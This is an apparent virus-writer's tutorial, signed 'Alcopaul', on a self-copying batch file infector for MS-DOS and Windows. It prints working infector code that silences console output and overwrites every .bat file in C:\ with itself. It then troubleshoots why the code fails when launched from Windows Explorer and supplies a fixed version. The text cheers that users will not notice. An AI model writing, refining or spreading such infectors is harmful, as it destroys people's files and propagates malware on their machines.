Difference between Executing Batch Files in MS-DOS prompt and in Windows Explorer

I just discovered this difference when I was testing the spawning process of
my batch worm, Redirection...

Ei, a boring afternoon, nothing to do, can't code in any programming languages
coz you're still learning how to, planned to write a batch file infector...
Type, takataktak, enter...

***************************
c:\>copy con infector.bat
@echo off
ctty nul
copy %0.bat c:\*.bat
exit
^Z
***************************

Explanation:

c:\>copy con infector.bat ----> make our batch file
@echo off ----> turn the console output off and redirect it to null to prevent user interactions
ctty nul
copy %0.bat c:\*.bat ----> copy the running batch file to all the batch files in c:\
exit -----> terminate the process
^Z -----> write file to disk
**************************

%0.bat is similar to App.EXEName & ".exe" in Visual Basic...

running infector.bat in MS-DOS prompt will produce our desired result. It will copy itself to all
the batch files in c:\
:)
But when it's run in Windows Explorer, by clicking the icon of infector.bat, it won't copy itself
to c:\*.bat
:(
Why?

Let's examine...

*********************
c:\>copy con bug.bat
copy %0.bat c:\*.bat
^Z
*********************

Let's not include @echo off and ctty nul to see what's happening to bug.bat
while it executes..
Click Explorer.. Type c:\ in the address bar and click Go...
It'll display the icons of all the files in c:\.. Click bug and see what'll happen..

------------------------------------------------
Finished - bug
------------------------------------------------

C:\>copy C:\BUG.BAT.bat c:\*.bat
File not found - C:\BUG.BAT.bat
        0 file(s) copied

C:\>
------------------------------------------------

{!} Surely, no files will be copied to c:\*.bat because BUG.BAT.bat doesn't exist ... When
clicking, Windows explorer adds another extension to our file bug.bat making it bug.bat.bat and
executes bug.bat.bat ... Ask Microsoft why. To fix the problem, instead of %0.bat, make it %0

***************************
c:\>copy con infector.bat
@echo off
ctty nul
copy %0 c:\*.bat
exit
^Z
***************************

Go to Windows Explorer, click infector.bat and we'll achieve our desired goal, infecting all the
batch files in c:\ The drawback, you won't be able to infect c:\*.bat when you run the modified
infector.bat in MS-DOS prompt ... But remember this, NO Windows User will think of executing a
file in MSDOS prompt ... Think.. :)

Alcopaul

"Stuttering is not a crime..."
